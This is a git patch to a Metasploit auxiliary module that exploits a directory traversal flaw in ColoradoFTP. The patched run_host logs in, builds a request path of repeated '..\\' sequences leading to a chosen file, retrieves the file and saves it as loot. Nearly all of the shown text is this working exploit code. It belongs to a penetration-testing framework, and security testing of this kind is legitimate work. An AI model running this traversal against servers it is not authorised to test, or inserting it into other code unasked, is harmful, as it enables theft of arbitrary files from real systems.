From ba174f3f926682d47b3423184060bf9fa84ac4e4 Mon Sep 17 00:00:00 2001
From: h00die <michaeltcyr@gmail.com>
Date: Mon, 11 Dec 2017 14:40:09 -0500
Subject: [PATCH] updates per @bigendiansmalls fork

---
 .../scanner/ftp/colorado_ftp_traversal.rb     | 65 +++++++------------
 1 file changed, 22 insertions(+), 43 deletions(-)

diff --git a/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb
index fa2ac5979d..96f968f8e5 100644
--- a/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb
+++ b/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb
@@ -59,53 +59,32 @@ class MetasploitModule < Msf::Auxiliary
 
   def run_host(ip)
     begin
-      c = connect_login
-      return unless c
-      sock = data_connect
+      connect_login
+      file_path = datastore['PATH']
+      file = ::File.basename(file_path)
 
-      # additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
-      # and  #7582
-      if sock.nil?
-        error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
-        print_status(error_msg)
-        elog(error_msg)
+      # make RETR request and store server response message...
+      retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
+      res = send_cmd_data( ['get', retr_cmd], '')
+      unless res.nil?
+        print_status(res[0])
+        response_data = res[1]
       else
-        file_path = datastore['PATH']
-        file = ::File.basename(file_path)
-
-        # make RETR request and store server response message...
-        retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
-        res = send_cmd( ["retr", retr_cmd], true)
-        print_status(res)
-
-        # dont assume theres still a sock to read from. Per #7582
-        if sock.nil?
-          error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
-          print_status(error_msg)
-          elog(error_msg)
-          return
-        else
-          # read the file data from the socket that we opened
-          response_data = sock.read(1024)
-        end
-
-        unless response_data
-          print_error("#{file} not found")
-          return
-        end
-
-        if response_data.length == 0
-          print_status("File (#{file_path})from #{peer} is empty...")
-          return
-        end
-
-        # store file data to loot
-        loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
-        vprint_status("Data returned:\n")
-        vprint_line(response_data)
-        print_good("Stored #{file_path} to #{loot_file}")
+        print_error("#{file} not found or invalid login")
+        return
       end
 
+      if response_data.length == 0
+        print_status("File (#{file_path})from #{peer} is empty...")
+        return
+      end
+
+      # store file data to loot
+      loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
+      vprint_status("Data returned:\n")
+      vprint_line(response_data)
+      print_good("Stored #{file_path} to #{loot_file}")
+
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
       vprint_error(e.message)
       elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")